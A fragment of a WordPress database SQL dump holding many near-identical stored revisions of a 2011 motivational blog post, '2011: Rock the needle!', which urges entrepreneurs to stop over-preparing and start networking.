'http://www.whitehotcenter.com/2011/01/03/1434-revision-16/', 0, 'revision', '', 0);
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(1446, 2, '2011-01-03 06:48:54', '2011-01-03 13:48:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-11', '', '', '2011-01-03 06:48:54', '2011-01-03 13:48:54', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-11/', 0, 'revision', '', 0),
(1447, 2, '2011-01-03 06:49:06', '2011-01-03 13:49:06', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-12', '', '', '2011-01-03 06:49:06', '2011-01-03 13:49:06', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-12/', 0, 'revision', '', 0),
(1448, 2, '2011-01-03 06:49:46', '2011-01-03 13:49:46', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-13', '', '', '2011-01-03 06:49:46', '2011-01-03 13:49:46', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-13/', 0, 'revision', '', 0),
(1449, 2, '2011-01-03 06:49:56', '2011-01-03 13:49:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-14', '', '', '2011-01-03 06:49:56', '2011-01-03 13:49:56', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-14/', 0, 'revision', '', 0),
(1450, 2, '2011-01-03 06:50:04', '2011-01-03 13:50:04', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n\r\nTake it from some one who has beat his head against the wall of procrastination for many years! Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!\r\n\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-15', '', '', '2011-01-03 06:50:04', '2011-01-03 13:50:04', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-15/', 0, 'revision', '', 0),
(1452, 2, '2011-01-03 06:53:23', '2011-01-03 13:53:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="432" height="382" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2>Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-17', '', '', '2011-01-03 06:53:23', '2011-01-03 13:53:23', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-17/', 0, 'revision', '', 0),
(1453, 2, '2011-01-03 06:54:54', '2011-01-03 13:54:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2>Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-18', '', '', '2011-01-03 06:54:54', '2011-01-03 13:54:54', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-18/', 0, 'revision', '', 0),
(1454, 2, '2011-01-03 06:55:33', '2011-01-03 13:55:33', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h1><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h1>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2>Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-19', '', '', '2011-01-03 06:55:33', '2011-01-03 13:55:33', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-19/', 0, 'revision', '', 0),
(1459, 2, '2011-01-03 07:07:13', '2011-01-03 14:07:13', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\n\nDo you recognize any of these getting-ready-to-get-ready activities?\n\n<strong>- doing more and more research.\n- perfecting your plan, your product idea, your presentation.\n- tweaking your website / blog / portfolio / resume.</strong>\n\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\n\nDo you recognize any of these rock the needle activities?\n\n<strong>- sending that email, making that phone call, attending that conference.\n- introducing yourself to as many off-line people as you can.\n- introducing yourself to as many online people as you can.\n- finding opportunities to contribute your value to people first.\n- building new partnerships, alliances and collaborations.\n- supporting and nurturing and elevating your “community” .</strong>\n\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\n\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-24', '', '', '2011-01-03 07:07:13', '2011-01-03 14:07:13', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-24/', 0, 'revision', '', 0),
(1455, 2, '2011-01-03 06:56:04', '2011-01-03 13:56:04', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-20', '', '', '2011-01-03 06:56:04', '2011-01-03 13:56:04', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-20/', 0, 'revision', '', 0),
(1456, 2, '2011-01-03 06:56:18', '2011-01-03 13:56:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">In order for real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-21', '', '', '2011-01-03 06:56:18', '2011-01-03 13:56:18', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-21/', 0, 'revision', '', 0),
(1457, 2, '2011-01-03 06:58:45', '2011-01-03 13:58:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-22', '', '', '2011-01-03 06:58:45', '2011-01-03 13:58:45', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-22/', 0, 'revision', '', 0),
